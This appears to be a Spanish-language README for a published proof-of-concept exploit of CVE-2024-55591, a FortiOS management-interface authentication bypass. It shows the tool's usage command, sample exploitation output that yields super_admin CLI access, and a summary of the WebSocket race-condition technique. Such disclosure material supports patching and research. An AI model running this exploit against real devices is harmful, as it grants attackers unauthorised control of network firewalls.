
Una prueba de concepto de omisión de autenticación en Fortinet FortiOS
Consulta nuestra publicación del blog para obtener detalles técnicos
python CVE-2024-55591-PoC.py --host 192.168.1.5 --port 443 --command "get system status" --user watchTowr --ssl
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \\| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \\___| Y | |( <_> \ / | | \
\/\_/ (____ |__| \\\\___ |___|__|__ | \\__ / \\/\_/ |__|
\\ \\ \\
CVE-2024-55591.py
(*) Fortinet FortiOS Authentication Bypass (CVE-2024-55591) POC by watchTowr
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2024-55591]
[*] Checking if target is a FortiOS Management interface
[*] Target is confirmed as a FortiOS Management interface
[*] Target is confirmed as vulnerable to CVE-2024-55591, proceeding with exploitation
Output from server: �m"watchTowr" "admin" "watchTowr" "super_admin" "watchTowr" "watchTowr" [13.37.13.37]:1337 [13.37.13.37]:1337
Output from server: �
get system status
Output from server: �~�FAKESERIAL # "Local_Process_Access" "Local_Process_Access" "root" "" "" "none" [x.x.x.x]:54546 [x.x.x.x]:443
Unknown action 0
FAKESERIAL #
FAKESERIAL # get system status
Version: FortiGate-VM64-AWS v7.0.16,build0667,241001 (GA.M)
Security Level: High
Firmware Signature: certified
Virus-DB: 1.00000(2018-04-09 18:07)
Este script es una prueba de concepto para CVE-2024-55591, dirigido a interfaces de gestión de FortiOS (Fortigate). Al crear conexiones WebSocket mediante fuerza bruta para generar una condición de carrera junto con una omisión de autenticación, es posible enviar comandos CLI de FortiOS sin autenticación. Más detalles se describen en nuestra [publicación del blog] (https://labs.watchtowr.com/).
Más detalles en aviso de Fortinet
Este script no está diseñado para funcionar con FortiProxy, ya que las comprobaciones preliminares determinan si la instancia es una interfaz de gestión de FortiGate, pero se asume que la técnica subyacente es aplicable a los dispositivos FortiProxy afectados.
Para las últimas investigaciones de seguridad, sigue al equipo de watchTowr Labs